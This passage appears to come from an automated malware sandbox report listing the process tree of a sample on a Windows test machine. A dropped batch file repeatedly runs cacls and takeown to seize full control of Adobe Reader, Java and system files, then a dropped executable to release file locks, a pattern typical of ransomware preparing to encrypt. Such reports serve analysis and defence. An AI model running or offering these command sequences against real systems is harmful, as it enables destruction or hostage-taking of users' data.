C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1268 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DefaultID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1416
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Loads dropped DLL
PID:1384 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵PID:1988
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
- Modifies file permissions
PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1780 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1456
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
PID:1068 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵PID:268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵PID:1020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1768 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "Dynamic.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1252
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Loads dropped DLL
PID:2024 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵PID:1268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
PID:712 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
PID:836 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
PID:832 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
PID:984
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1504
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
PID:1280 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵PID:564
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Modifies file permissions
PID:1096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1268 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1972
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:1964 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:1780
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵PID:1384
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:1448 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1672
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:984
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵
- Loads dropped DLL
PID:1504 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵PID:1768
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
- Modifies file permissions
PID:1772
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵
- Loads dropped DLL
PID:896 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵
- Executes dropped EXE
PID:1416
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵
- Loads dropped DLL
PID:112 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵PID:1508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵PID:1232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MyriadCAD.otf" -nobanner3⤵
- Loads dropped DLL
PID:712 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MyriadCAD.otf" -nobanner4⤵
- Executes dropped EXE
PID:1292
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1528
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵
- Loads dropped DLL
PID:1672 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵PID:832
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
- Modifies file permissions
PID:1964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "create_form.gif" -nobanner3⤵
- Loads dropped DLL
PID:1612 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "create_form.gif" -nobanner4⤵
- Executes dropped EXE
PID:836
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1252
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵
- Loads dropped DLL
PID:564 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵PID:1268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵PID:1148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "info.gif" -nobanner3⤵
- Loads dropped DLL
PID:1504 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "info.gif" -nobanner4⤵
- Executes dropped EXE
PID:1684
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵
- Loads dropped DLL
PID:2000 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵PID:268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
- Modifies file permissions
PID:1528
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵
- Loads dropped DLL
PID:1992 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵
- Loads dropped DLL
PID:684 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵PID:1772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵PID:920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "trash.gif" -nobanner3⤵
- Loads dropped DLL
PID:1052 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "trash.gif" -nobanner4⤵
- Executes dropped EXE
PID:1544
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵
- Loads dropped DLL
PID:1280 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵PID:1488
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵PID:1232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵
- Loads dropped DLL
PID:1332 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CourierStd-Bold.otf" -nobanner4⤵
- Executes dropped EXE
PID:1972
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1020
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵
- Loads dropped DLL
PID:1528 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵
- Loads dropped DLL
PID:1988 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵
- Executes dropped EXE
PID:1520
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵
- Loads dropped DLL
PID:1404 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵PID:1764
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵
- Modifies file permissions
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵
- Loads dropped DLL
PID:568 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵
- Executes dropped EXE
PID:1448
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1456
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵
- Loads dropped DLL
PID:1684 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵PID:996
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵
- Modifies file permissions
PID:1280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "can.hyp" -nobanner3⤵
- Loads dropped DLL
PID:1320 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "can.hyp" -nobanner4⤵
- Executes dropped EXE
PID:112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:204
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵
- Loads dropped DLL
PID:224 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵PID:1860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵
- Modifies file permissions
PID:1520
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "usa37.hyp" -nobanner3⤵
- Loads dropped DLL
PID:1988 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "usa37.hyp" -nobanner4⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1376
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵
- Loads dropped DLL
PID:1764 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵PID:1048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ICELAND.TXT" -nobanner3⤵
- Loads dropped DLL
PID:1096 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ICELAND.TXT" -nobanner4⤵
- Executes dropped EXE
PID:1456
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵
- Loads dropped DLL
PID:996 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵PID:1544
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵PID:296
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1254.TXT" -nobanner3⤵
- Loads dropped DLL
PID:2024 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1254.TXT" -nobanner4⤵
- Executes dropped EXE
PID:112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵
- Loads dropped DLL
PID:564 -
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "overlay.png" -nobanner3⤵
- Loads dropped DLL
PID:212 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "overlay.png" -nobanner4⤵
- Executes dropped EXE
PID:1632
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵
- Loads dropped DLL
PID:1252 -
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:2012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1396
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵
- Loads dropped DLL
PID:896 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
PID:960
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
- Loads dropped DLL
PID:1068 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:1772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"3⤵
- Modifies file permissions
PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
PID:1528 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:1264
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵
- Loads dropped DLL
PID:1200 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"3⤵
- Modifies file permissions
PID:204
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "AUMProduct.cer" -nobanner3⤵
- Loads dropped DLL
PID:220 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "AUMProduct.cer" -nobanner4⤵
- Executes dropped EXE
PID:1512
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1148
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵
- Loads dropped DLL
PID:2000 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵PID:1136
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "email_all.gif" -nobanner3⤵
- Loads dropped DLL
PID:1768 -
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "email_all.gif" -nobanner4⤵
- Executes dropped EXE
PID:236
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵
- Loads dropped DLL
PID:1784 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵PID:1456
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵PID:1448
-
-
